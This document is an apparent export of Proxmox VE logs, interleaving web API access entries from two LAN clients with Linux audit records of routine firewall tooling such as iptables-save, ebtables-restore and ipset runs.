{"@timestamp":1781965464735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964555677,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.677:61528): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966166131,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.131:68729): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964921135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964921.135:63212): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965598.619:66296): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964152631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964155945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.945:59830): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.120:68728): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965461833,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781964555670,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.670:61527): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166120,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.120:68728): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964916120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964916.120:63210): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965598.612:66294): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964151601,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964155938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.938:59829): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.106:68727): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965461833,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964555665,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.665:61525): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966166106,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.106:68727): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964916120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964916.120:63209): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965598.612:66293): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964150618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 853"} {"@timestamp":1781964155931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.931:59828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.093:68726): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965461833,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964555660,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.660:61524): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966166093,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.093:68726): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964916102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964916.102:63207): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.091:66289): arch=c000003e syscall=59 success=no exit=-2 a0=7fff57cc6de0 a1=5ee00f1e2310 a2=5ee00f1db680 a3=5 items=1 ppid=63664 pid=63665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964148594,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964155925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.925:59827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.074:68725): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965461833,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964555655,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.655:61523): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966166074,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.074:68725): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964916102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964916.102:63206): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.973:66271): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd509fb440 a1=5c920af6d3d0 a2=5c920af4b680 a3=5 items=1 ppid=63645 pid=63646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964146668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964155917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.917:59826): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.070:68724): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=61a0188c9740 items=0 ppid=1156 pid=65996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965460709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964555650,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.650:61522): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966166067,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.067:68723): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964915423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.423:63202): arch=c000003e syscall=59 success=no exit=-2 a0=7fff7ba43fd0 a1=63162edc91c0 a2=63162eda7680 a3=5 items=1 ppid=60643 pid=60644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965593.606:66261): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964146668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:25 +0100] \"GET /api2/extjs/cluster/options?_dc=1781964144955 HTTP/1.1\" 200 100"} {"@timestamp":1781964155914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.914:59825): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5feeba146740 items=0 ppid=1156 pid=57450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966166067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.067:68723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecb641ddc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965460709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964555645,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.645:61521): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966166061,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.061:68722): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964915340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.340:63184): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcee682b50 a1=59ca507c6200 a2=59ca507a4680 a3=5 items=1 ppid=60624 pid=60625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965593.606:66260): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964146668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:25 +0100] \"GET /api2/extjs/version?_dc=1781964144954 HTTP/1.1\" 200 84"} {"@timestamp":1781964155912,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.912:59824): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166061,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.061:68722): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc101430 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65995 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965460709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964555640,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.640:61520): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966166053,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.053:68721): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964911096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964911.096:63174): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965593.589:66258): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964146668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:25 +0100] \"GET /api2/extjs/cluster/sdn?_dc=1781964144955 HTTP/1.1\" 200 118"} {"@timestamp":1781964155907,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.907:59823): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57449 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.053:68721): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130a80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458716,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964555634,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.634:61519): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966166048,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.048:68720): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964911096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964911.096:63173): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965593.589:66257): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964144654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964155901,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.901:59822): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.048:68720): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458716,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964555627,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.627:61518): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166041,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.041:68719): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964911088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964911.088:63171): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965588.583:66255): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964144654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781964155896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.896:59821): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1353f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.041:68719): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458716,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964555624,"@rawstring":"node=pve type=EXECVE msg=audit(1781964555.624:61517): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966166034,"@rawstring":"node=pve type=EXECVE msg=audit(1781966166.034:68718): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964911088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964911.088:63170): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965588.582:66254): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964143635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964155890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.890:59820): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0de9b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.034:68718): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbe20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} 